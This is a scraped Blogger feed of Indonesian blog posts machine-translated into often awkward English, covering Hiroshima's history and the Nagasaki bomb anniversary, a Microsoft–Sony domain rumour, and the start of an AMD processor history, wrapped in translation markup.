di bagian barat Prefektur Hiroshima, bagian selatan wilayah Chugoku,
barat daya pulau Honshu.">Hiroshima (広 島 市, Hiroshima-shi) is a city in Japan, exactly in the western part of Hiroshima Prefecture, southern part of Chugoku region, the southwestern island of Honshu. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Pada zaman dulu merupakan ibu kota
Provinsi Aki dan sekarang merupakan ibu kota Prefektur Hiroshima.">In the ancient capital of Aki province and is now the capital of Hiroshima Prefecture. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Hiroshima adalah kota pelabuhan di tepi Laut Pedalaman Seto yang
dikenal sebagai pusat industri tekstil dan barang-barang dari karet.">Hiroshima is a port city on the shores of the Seto Inland Sea is known as a center of textile and rubber goods. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Kota ini didirikan pada abad ke-16
sebagai kota istana di delta Sungai Ota.">The city was founded in the 16th century as a castle town in the delta of the River Ota. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Hiroshima adalah kota pertama di dunia yang
pernah dijatuhi bom atom di akhir Perang Dunia II, 6 Agustus 1945.">Hiroshima was a city of the world's first atomic bomb ever imposed at the end of World War II, August 6, 1945. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Sekarang, Hiroshima terkenal di
dunia sebagai kota perdamaian.">Now, the world-famous Hiroshima as a city of peace. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Monumen Perdamaian Hiroshima (Genbaku Dome)
terletak di pusat kota Hiroshima.Hiroshima secara harafiah berarti
“pulau luas.” Pada waktu itu istana didirikan di tengah pulau (daratan)
yang paling luas di tengah-tengah delta sungai.">Hiroshima Peace Monument (Genbaku Dome) is located in downtown Hiroshima.Hiroshima literally means "wide island." At that time the palace was founded in the middle of the island (land) most widely in the middle of the river delta. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Nama “Hiroshima” mungkin berasal dari nama-nama tokoh yang
dulunya mendirikan kota Hiroshima.">The name "Hiroshima" may be derived from the names of the characters that were once founded the city of Hiroshima. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="“Hiro” diambil dari nama Ōe
Hiromoto (nenek moyang klan Mōri), sedangkan “shima” diambil dari nama
Fukushima Motonaga yang memimpin pembangunan konstruksi istana.">"Hiro" is taken from the name of Oe Hiromoto (Mori clan ancestors), while "shima" is taken from the name of Fukushima Motonaga who led the construction of the palace. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Hiroshima merupakan kota utama di wilayah
Chugoku.">Hiroshima is a major city in the Chugoku region. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Pada zaman Edo, Hiroshima
merupakan kota di sekeliling istana untuk Han Hiroshima.">In the Edo period, Hiroshima is a city around the palace for Han Hiroshima. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Sejak zaman Meiji hingga berakhirnya Perang Dunia II, Hiroshima
merupakan pusat industri militer dan logistik untuk keperluan perang.">Since the Meiji period until the end of World War II, Hiroshima is an industrial center of military and logistical support for the war. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Di antara produk
kebanggaan kota Hiroshima adalah mobil Mazda, makanan ringan merek
Calbee dan saus merek Otafuku.">Among the products the pride of the city of Hiroshima is the Mazda car, brand Calbee snacks and sauces brands Otafuku. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Tim bisbol kebanggaan
penduduk kota Hiroshima adalah Hiroshima Carp.">Baseball team is the pride of the town of Hiroshima Hiroshima Carp. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Tim
tersebut pernah menjadi juara Central League sebanyak 6 kali dan juara
Japan Series sebanyak 3 kali.">The team had won the Central League champion 6 times and 3 times the Japan Series. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Peringatan 63 Tahun">Warning 63 Year <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Saat perhatian dunia tertuju kepada kemeriahan
Olimpiade Beijing, bangsa Jepang, terutama Nagasaki, justru memperingati
tragedi bom atom di Kota Nagasaki, sambil terus mengingatkan prinsip
negara tersebut yang menentang penggunaan senjata nuklir di dunia.">When the world's attention drawn to the excitement of the Beijing Olympics, the Japanese people, especially Nagasaki, it commemorates the tragedy of the atomic bomb in Nagasaki City, while continuing to remind the principle of the country who oppose the use of nuclear weapons in the world. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Sedikitnya 5.400
warga kota tersebut, bersama simpatisan anti nuklir lainnya dari delapan
negara, termasuk Rusia, ambil bagian dalam upacara yang berlangsung
selama satu jam di halaman Peace Park, Nagasaki, Sabtu, demikian laporan
Kantor Berita Kyodo.">At least 5400 citizens of the city, along with other anti-nuclear investigators from eight countries, including Russia, took part in a ceremony that lasted one hour on the page Peace Park, Nagasaki, on Saturday, Kyodo News Agency reported. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="PM
Jepang Yasuo Fukuda, yang baru saja mengikuti upacara pembukaan
Olimpiade Beijing, sudah terlihat lagi di Nagasaki untuk mengkikuti
ucapara peringatan tragedi bom atom yang ke-63.">Japanese PM Yasuo Fukuda, who just follow the opening ceremony of the Beijing Olympics, was seen again in Nagasaki for mengkikuti ucapara warning that the tragedy of the atomic bomb-63. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Kegiatan mengheningkan cipta tepat dimulai pukul 11.02
(waktu setempat), yaitu saat pesawat pembom B-29, milik Angkatan Udara
Amerika Serikat (AS), menjatuhkan bom atom ke Kota Nagasaki pada 9
Agustus 1945.">Activities appropriate moment of silence began at 11:02 (local time), when the bomber B-29, belonging to the United States Air Force (U.S.), dropped the atomic bomb to the city of Nagasaki on August 9, 1945. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Sampai akhir tahun
1945, jumlah korban tewas akibat bom maut itu mencapai 74.000 orang.">Until late 1945, the death toll from the deadly bombing reaches 74 000 people. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Tiga hari sebelumnya, peringatan yang sama juga
dilangsungkan di Kota Hiroshima, yang luluh lantak lebih dulu akibat bom
atom.">Three days earlier, a similar warning is also held in the city of Hiroshima, which was destroyed earlier due to the atomic bomb. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Enam hari
setelah peristiwa Nagasaki, Jepang menyerah kalah dan berkahirlah Perang
Dunia II.">Six days after the Nagasaki, Japan surrendered and World War II berkahirlah. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="PM Fukuda dalam
sambutannya menegaskan kembali prinsip Jepang yang menentang penggunaan
senjata nuklir, dengan tidak ikut memproduksi ataupun memiliki senjata
nuklir.">PM Fukuda in his speech reaffirmed the principles of Japanese oppose the use of nuclear weapons, with no co-produced nor have a nuclear weapon. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Hingga petang hari masih banyak warga Nagasaki yang mendatangi
tempat monumen peringatan bom atom Nagasaki, baik untuk menyampaikan
karangan bunga ataupun berdoa mengharapkan perdamaian dunia.">Until the evening many residents of Nagasaki who visited the Nagasaki atomic bomb memorial, both to deliver a bouquet of flowers or praying for world peace. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Walikota Nagasaki
Tumihisa Taue, mendesak negara-negara yang memiliki kekuatan nuklir
untuk menghancurkan senjata nuklirnya, sambil mengutip permohonan yang
pernah disampaikan mantan Menlu AS Henry Kissinger dan mantan pejabat
tinggi lainnya.">Nagasaki Mayor Taue Tumihisa, urged countries that have nuclear power to destroy its nuclear weapons, while citing the petition ever presented former U.S. Secretary of State Henry Kissinger and other former high officials. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Pada kesempatan itu
juga dibacakan deklarasi perdamaian untuk dunia mengenai pentingnya
dunia tanpa kehadiran senjata nuklir.">On that occasion also read out the declaration of peace to the world about the importance of the presence of a world without nuclear weapons. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Seusai upacara, Fukuda menyempatkan diri berdialog dengan para
korban bom atom, seperti yang juga dilakukannya di Hiroshima.">After the ceremony, Fukuda took time to dialogue with the victims of the atomic bomb, as well as he did in Hiroshima. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Fukuda lebih banyak
mendengarkan keinginan dari para korban.">Fukuda listen more the desire of the victims. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Jumlah korban bom atom yang
masih hidup hingga kini tercatat sebanyak 243.692 orang (per 31 Maret
2008), dengan rata-rata usia mencapai 75 tahun lebih.">The number of atomic bomb survivors who are still alive until now there were 243,692 people (as of March 31, 2008), with an average age of 75 years. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Sedangkan untuk di
Nagasaki, hingga tahun ini berjumlah 145.984 orang.">As for Nagasaki, until this year amounted to 145,984 people. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Calonkan Tuan Rumah Olimpiade">Nominated to host the Olympic Games <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Hiroshima dan Nagasaki, dua kota di Jepang, hari Minggu
mengatakan mereka sedang mempertimbangkan untuk mencalonkan diri secara
bersama guna menjadi tuan rumah Olimpiade 2020, sejalan dengan kampanye
untuk mempromosikan suatu dunia yang bebas nuklir.">Hiroshima and Nagasaki, two cities in Japan, on Sunday said they were considering to run together in order to host the 2020 Olympics, along with a campaign to promote a nuclear-free world. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Kedua kota itu, yang
dibangun kembali setelah menjadi puing-puing akibat bom atom Amerika
Serikat di hari-hari terakhir Perang Dunia II, mengatakan mereka akan
membentuk suatu komite untuk mempelajari kemungkinan pencalonan bersama
itu.">Both the town, rebuilt after the rubble caused by the atomic bomb the United States in the last days of World War II, said they would form a committee to study the possibility of a joint bid. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Wali Kota Hiroshima, Tadatoshi Akiba, seorang pendukung utama
perlucutan senjata nuklir dan telah menyerukan suatu dunia yang bebas
dari senjata atom pada tahun 2020, sebelumnya mengatakan ia menginginkan
kota tersebut menyelenggarakan Olimpiade atas nama perdamaian dunia.">Mayor of Hiroshima, Tadatoshi Akiba, a major supporter of nuclear disarmament and has called for a world free of atomic weapons in 2020, has previously said he wanted the city to host the Olympics in the name of world peace. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="“Kami mempunyai tujuan memusnahkan senjata nuklir pada tahun
2020.">"We have destroyed the purpose of nuclear weapons in 2020. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Bila kami">When we</span></span>ridwan baihaqihttp://www.blogger.com/profile/06188834197555634085noreply@blogger.com0tag:blogger.com,1999:blog-872526658971900970.post-3147495999976653612011-07-18T03:03:00.000-07:002011-07-18T03:13:48.495-07:00Secret Microsoft And Sony<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhifCg5ksBDVrbjjhXFyecaDJUkQeVUgAAuvwH9f1AkFIYXuLA0xRKzD-OgP_kAoHK9YYNX4vco87bPUtuutAmOJOj-yFlcb4oWwIL5AE7xVVlv3DK6moCmudhyphenhyphenEvYlhUJnGeVEJpyxk88/s1600/micson.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="176" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhifCg5ksBDVrbjjhXFyecaDJUkQeVUgAAuvwH9f1AkFIYXuLA0xRKzD-OgP_kAoHK9YYNX4vco87bPUtuutAmOJOj-yFlcb4oWwIL5AE7xVVlv3DK6moCmudhyphenhyphenEvYlhUJnGeVEJpyxk88/s320/micson.jpg" width="320" /></a></div><br />
<span class="" id="result_box" lang="en"><span class="hps" title="Klik untuk
terjemahan alternatif">U.S.</span> <span class="hps" title="Klik untuk
terjemahan alternatif">software giant</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Microsoft</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">allegedly</span> <span class="hps" title="Klik untuk terjemahan alternatif">preparing</span> <span class="hps" title="Klik untuk terjemahan alternatif">a secret</span> <span class="hps" title="Klik untuk terjemahan alternatif">project</span> <span class="hps" title="Klik untuk terjemahan alternatif">with</span> <span class="hps" title="Klik untuk terjemahan alternatif">Sony</span><span class="" title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan alternatif">That's after</span> <span class="hps" title="Klik untuk terjemahan alternatif">Microsoft's</span> <span class="hps" title="Klik untuk terjemahan alternatif">domain</span> <span class="hps" title="Klik untuk terjemahan alternatif">registering</span> <span class="hps" title="Klik untuk terjemahan alternatif">sites</span> <span class="hps" title="Klik untuk terjemahan alternatif">with both</span> <span class="hps" title="Klik untuk terjemahan alternatif">the company name</span><span class="" title="Klik untuk terjemahan alternatif">.</span></span><br />
NEW YORK - <span class="" id="result_box" lang="en"><span class="hps" title="Klik untuk terjemahan alternatif">U.S.</span> <span class="hps" title="Klik untuk terjemahan alternatif">software giant</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Microsoft</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">allegedly</span> <span class="hps" title="Klik untuk terjemahan alternatif">preparing</span> <span class="hps" title="Klik untuk terjemahan alternatif">a secret</span> <span class="hps" title="Klik untuk terjemahan alternatif">project</span> <span class="hps" title="Klik untuk terjemahan alternatif">with</span> <span class="hps" title="Klik untuk terjemahan alternatif">Sony</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">That's after</span> <span class="hps" title="Klik untuk terjemahan alternatif">Microsoft's</span> <span class="hps" title="Klik untuk terjemahan alternatif">domain</span> <span class="hps" title="Klik untuk terjemahan alternatif">registering</span> <span class="hps" title="Klik untuk terjemahan alternatif">sites</span> <span class="hps" title="Klik untuk terjemahan alternatif">with both</span> <span class="hps" title="Klik untuk terjemahan alternatif">the company name</span><span title="Klik untuk terjemahan alternatif">.<a name='more'></a></span><br />
<br />
<br />
<span class="hps" title="Klik untuk terjemahan alternatif">Cellular News</span> <span class="hps" title="Klik untuk terjemahan alternatif">launched</span> <span class="hps" title="Klik untuk terjemahan alternatif">on Monday</span> <span class="hps atn" title="Klik untuk terjemahan alternatif">(</span><span title="Klik untuk terjemahan alternatif">7/18/2011</span><span title="Klik untuk terjemahan alternatif">)</span><span title="Klik untuk
terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">Microsoft</span> <span class="hps" title="Klik untuk
terjemahan alternatif">has registered</span> <span class="hps" title="Klik untuk terjemahan alternatif">domains</span> <span class="hps" title="Klik untuk terjemahan alternatif">www.microsoft</span><span class="atn" title="Klik untuk terjemahan alternatif">-</span><span title="Klik untuk terjemahan alternatif">sony.com</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">www.sony</span><span class="atn" title="Klik untuk terjemahan alternatif">-</span><span title="Klik untuk terjemahan alternatif">microsoft.com</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">But</span> <span class="hps" title="Klik
untuk terjemahan alternatif">now</span> <span class="hps" title="Klik
untuk terjemahan alternatif">the two</span> <span class="hps" title="Klik untuk terjemahan alternatif">domains</span> <span class="hps" title="Klik untuk terjemahan alternatif">were</span> <span class="hps" title="Klik untuk terjemahan alternatif">only</span> <span class="hps" title="Klik untuk terjemahan alternatif">direct users to</span> <span class="hps" title="Klik untuk terjemahan alternatif">Microsoft's</span> <span class="hps" title="Klik untuk terjemahan alternatif">search</span> <span class="hps" title="Klik untuk terjemahan alternatif">engine</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Bing</span><span title="Klik
untuk terjemahan alternatif">.</span><br />
<br />
<span class="hps" title="Klik untuk
terjemahan alternatif">Nevertheless</span><span title="Klik
untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">this act</span> <span class="hps" title="Klik untuk
terjemahan alternatif">clearly</span> <span class="hps" title="Klik
untuk terjemahan alternatif">raises</span> <span class="hps" title="Klik
untuk terjemahan alternatif">speculation</span> <span class="hps" title="Klik untuk terjemahan alternatif">that the two companies</span> <span class="hps" title="Klik untuk terjemahan alternatif">were planning</span> <span class="hps" title="Klik untuk terjemahan
alternatif">a</span> <span class="hps" title="Klik untuk terjemahan
alternatif">large</span> <span class="hps" title="Klik untuk terjemahan
alternatif">cooperation</span><span title="Klik untuk
terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan
alternatif">Moreover</span><span title="Klik untuk
terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">Sony</span> <span class="hps" title="Klik untuk terjemahan
alternatif">Ericsson</span> <span class="hps" title="Klik untuk
terjemahan alternatif">was allegedly</span> <span class="hps" title="Klik untuk terjemahan alternatif">going to</span> <span class="hps" title="Klik untuk terjemahan alternatif">launch a</span> <span class="hps" title="Klik untuk terjemahan alternatif">smartphone</span> <span class="hps" title="Klik untuk terjemahan alternatif">with</span> <span class="hps" title="Klik untuk terjemahan alternatif">Windows Phone</span> <span class="hps" title="Klik untuk terjemahan alternatif">platform</span><span title="Klik untuk terjemahan alternatif">.</span><br />
<br />
<span class="hps" title="Klik untuk terjemahan alternatif">Yes</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">before Microsoft</span> <span class="hps" title="Klik untuk terjemahan alternatif">announced a</span> <span class="hps" title="Klik untuk terjemahan alternatif">partnership</span> <span class="hps" title="Klik untuk terjemahan alternatif">with Nokia to</span> <span class="hps" title="Klik untuk terjemahan alternatif">set up</span> <span class="hps" title="Klik untuk terjemahan alternatif">mobile phone</span> <span class="hps" title="Klik untuk terjemahan alternatif">based on Windows</span> <span class="hps" title="Klik untuk terjemahan alternatif">7 Phone</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">Sony</span> <span class="hps" title="Klik untuk terjemahan alternatif">Ericsson could be</span> <span class="hps" title="Klik untuk terjemahan alternatif">called</span> <span class="hps" title="Klik untuk terjemahan alternatif">as a</span> <span class="hps" title="Klik untuk terjemahan alternatif">Microsoft partner</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">The rumors</span> <span class="hps" title="Klik untuk terjemahan alternatif">erupted</span> <span class="hps" title="Klik untuk terjemahan alternatif">again</span> <span class="hps" title="Klik untuk terjemahan alternatif">after the</span> <span class="hps" title="Klik untuk terjemahan alternatif">public</span> <span class="hps" title="Klik untuk terjemahan alternatif">found the</span> <span class="hps" title="Klik untuk terjemahan alternatif">photographs that</span> <span class="hps" title="Klik untuk terjemahan alternatif">allegedly</span> <span class="hps" title="Klik untuk terjemahan alternatif">as a</span> <span class="hps" title="Klik untuk terjemahan alternatif">prototype</span> <span class="hps" title="Klik untuk terjemahan alternatif">of Sony</span> <span class="hps" title="Klik untuk terjemahan alternatif">Ericsson</span> <span class="hps" title="Klik untuk terjemahan alternatif">phones</span> <span class="hps" title="Klik untuk terjemahan alternatif">WP7</span> <span class="hps" title="Klik untuk terjemahan alternatif">in cyberspace</span><span title="Klik untuk terjemahan alternatif">.</span><br />
<br />
<span class="hps" title="Klik untuk terjemahan alternatif">Sony</span> <span class="hps" title="Klik untuk terjemahan alternatif">Ericsson</span> <span class="hps" title="Klik untuk terjemahan alternatif">France</span> <span class="hps" title="Klik untuk terjemahan alternatif">CEO</span> <span class="hps" title="Klik untuk terjemahan alternatif">Pierre</span> <span class="hps" title="Klik untuk terjemahan alternatif">Perron</span> <span class="hps" title="Klik untuk terjemahan alternatif">had</span> <span class="hps" title="Klik untuk terjemahan alternatif">confirmed</span> <span class="hps" title="Klik untuk terjemahan alternatif">that it</span> <span class="hps" title="Klik untuk terjemahan alternatif">was the middle of</span> <span class="hps" title="Klik untuk terjemahan alternatif">discussions with</span> <span class="hps" title="Klik untuk terjemahan alternatif">Microsoft about</span> <span class="hps" title="Klik untuk terjemahan alternatif">the possibility</span> <span class="hps" title="Klik untuk terjemahan alternatif">that</span> <span class="hps" title="Klik untuk terjemahan alternatif">mobile phone</span> <span class="hps" title="Klik untuk terjemahan
alternatif">vendors</span> <span class="hps" title="Klik untuk
terjemahan alternatif">to adopt</span> <span class="hps" title="Klik
untuk terjemahan alternatif">the platform</span> <span class="hps" title="Klik untuk terjemahan alternatif">WP7</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">However,</span> <span class="hps" title="Klik untuk terjemahan alternatif">Perron's</span> <span class="hps" title="Klik untuk terjemahan alternatif">claim that</span> <span class="hps" title="Klik untuk terjemahan alternatif">the possibility</span> <span class="hps" title="Klik untuk terjemahan alternatif">is very small</span> <span class="hps" title="Klik untuk terjemahan alternatif">due to limitations</span> <span class="hps" title="Klik untuk terjemahan alternatif">and specifications of</span> <span class="hps" title="Klik untuk
terjemahan alternatif">the mobile phone</span> <span class="hps" title="Klik untuk terjemahan alternatif">software</span><span title="Klik untuk terjemahan alternatif">.</span></span><br />
<div class="g-section" id="gt-res-tools"><div aria-pressed="false" class="trans-listen-button gt-icon-c" id="gt-res-listen" role="button" style="-moz-user-select: none; display: none;"><span class="gt-icon"></span><span class="gt-icon-text">Simak</span></div><div aria-pressed="false" class="trans-roman-button gt-icon-c" id="gt-res-roman" role="button" style="-moz-user-select: none; display: none;"><span class="gt-icon"></span><span class="gt-icon-text">Baca secara fonetik</span></div></div>ridwan baihaqihttp://www.blogger.com/profile/06188834197555634085noreply@blogger.com0tag:blogger.com,1999:blog-872526658971900970.post-67103805512768486522011-07-17T05:00:00.000-07:002011-07-17T05:00:52.362-07:00history of processor<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlr7ZUle5fQxAXhdtR2DiBJXJ1IXgnps6kmfVwsZvxneJR9gwG4AoWKtGWpz1pegACJYAC309ufmJ3WId7kHaPFr67yAfPIeUURotKRUCKQofOx_y7Oeo5-CZuvqX1adp6RWQr6csYAxg/s1600/processor+unik.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlr7ZUle5fQxAXhdtR2DiBJXJ1IXgnps6kmfVwsZvxneJR9gwG4AoWKtGWpz1pegACJYAC309ufmJ3WId7kHaPFr67yAfPIeUURotKRUCKQofOx_y7Oeo5-CZuvqX1adp6RWQr6csYAxg/s1600/processor+unik.jpeg" /></a></div><br />
<span class="" id="result_box" lang="en"><span class="hps" title="Klik untuk
terjemahan alternatif">This is a</span> <span class="hps" title="Klik
untuk terjemahan alternatif">brief</span> <span class="hps" title="Klik
untuk terjemahan alternatif">history of</span> <span class="hps" title="Klik untuk terjemahan alternatif">AMD</span> <span class="hps" title="Klik untuk terjemahan alternatif">processors</span> <span class="hps" title="Klik untuk terjemahan alternatif">who</span> <span class="hps" title="Klik untuk terjemahan alternatif">currently</span> <span class="hps" title="Klik untuk terjemahan alternatif">known to us</span> <span class="hps" title="Klik untuk terjemahan alternatif">till</span> <span class="hps" title="Klik untuk terjemahan alternatif">now with a</span> <span class="hps" title="Klik untuk terjemahan alternatif">superior product</span> <span class="hps" title="Klik untuk terjemahan alternatif">that is</span> <span class="hps" title="Klik untuk terjemahan alternatif">Athlon64</span> <span class="hps" title="Klik untuk terjemahan alternatif">Processor</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">PHENOM</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Advanced</span> <span class="hps" title="Klik untuk terjemahan alternatif">Micro Devices</span> <span class="hps" title="Klik untuk terjemahan alternatif">was founded on</span> <span class="hps" title="Klik untuk terjemahan alternatif">May 1, 1969</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">by a group</span> <span class="hps" title="Klik untuk terjemahan alternatif">of former</span> <span class="hps" title="Klik untuk terjemahan alternatif">executives</span> <span class="hps" title="Klik untuk terjemahan alternatif">from</span> <span class="hps" title="Klik untuk terjemahan alternatif">Fairchild</span> <span class="hps" title="Klik untuk terjemahan alternatif">Semiconductor</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">including</span> <span class="hps" title="Klik untuk terjemahan alternatif">Jerry</span> <span class="hps" title="Klik untuk terjemahan alternatif">Sanders</span> <span class="hps" title="Klik untuk terjemahan alternatif">III</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Ed</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Turney</span><span title="Klik
untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">John</span> <span class="hps" title="Klik untuk terjemahan
alternatif">Carey</span><span title="Klik untuk terjemahan
alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">Sven</span> <span class="hps" title="Klik untuk terjemahan alternatif">Simonsen</span><span title="Klik untuk terjemahan
alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">Jack</span> <span class="hps" title="Klik untuk terjemahan alternatif">Gifford</span> <span class="hps" title="Klik untuk terjemahan
alternatif">and</span> <span class="hps" title="Klik untuk terjemahan
alternatif">three members</span> <span class="hps" title="Klik untuk
terjemahan alternatif">from</span> <span class="hps" title="Klik untuk
terjemahan alternatif">Gifford</span> <span class="hps" title="Klik
untuk terjemahan alternatif">team</span><span title="Klik
untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">Frank</span> <span class="hps" title="Klik untuk terjemahan
alternatif">Botte</span><span title="Klik untuk terjemahan
alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">Jim</span> <span class="hps" title="Klik untuk terjemahan alternatif">Giles</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">Larry</span> <span class="hps" title="Klik untuk terjemahan alternatif">Stenger</span> <span class="hps" title="Klik untuk terjemahan
alternatif">.</span> <span class="hps" title="Klik untuk terjemahan
alternatif">The company started</span> <span class="hps" title="Klik
untuk terjemahan alternatif">as a producer of</span> <span class="hps" title="Klik untuk terjemahan alternatif">logic chips</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">then</span> <span class="hps" title="Klik
untuk terjemahan alternatif">entered the</span> <span class="hps" title="Klik untuk terjemahan alternatif">RAM</span> <span class="hps" title="Klik untuk terjemahan alternatif">chip</span> <span class="hps" title="Klik untuk terjemahan alternatif">business</span> <span class="hps" title="Klik untuk terjemahan alternatif">in 1975</span><span class="" title="Klik untuk terjemahan alternatif">.</span></span><br />
<br />
<span class="" id="result_box" lang="en"><span class="hps" title="Klik untuk
terjemahan alternatif">That same year</span><span class="" title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">it</span> <span class="hps" title="Klik
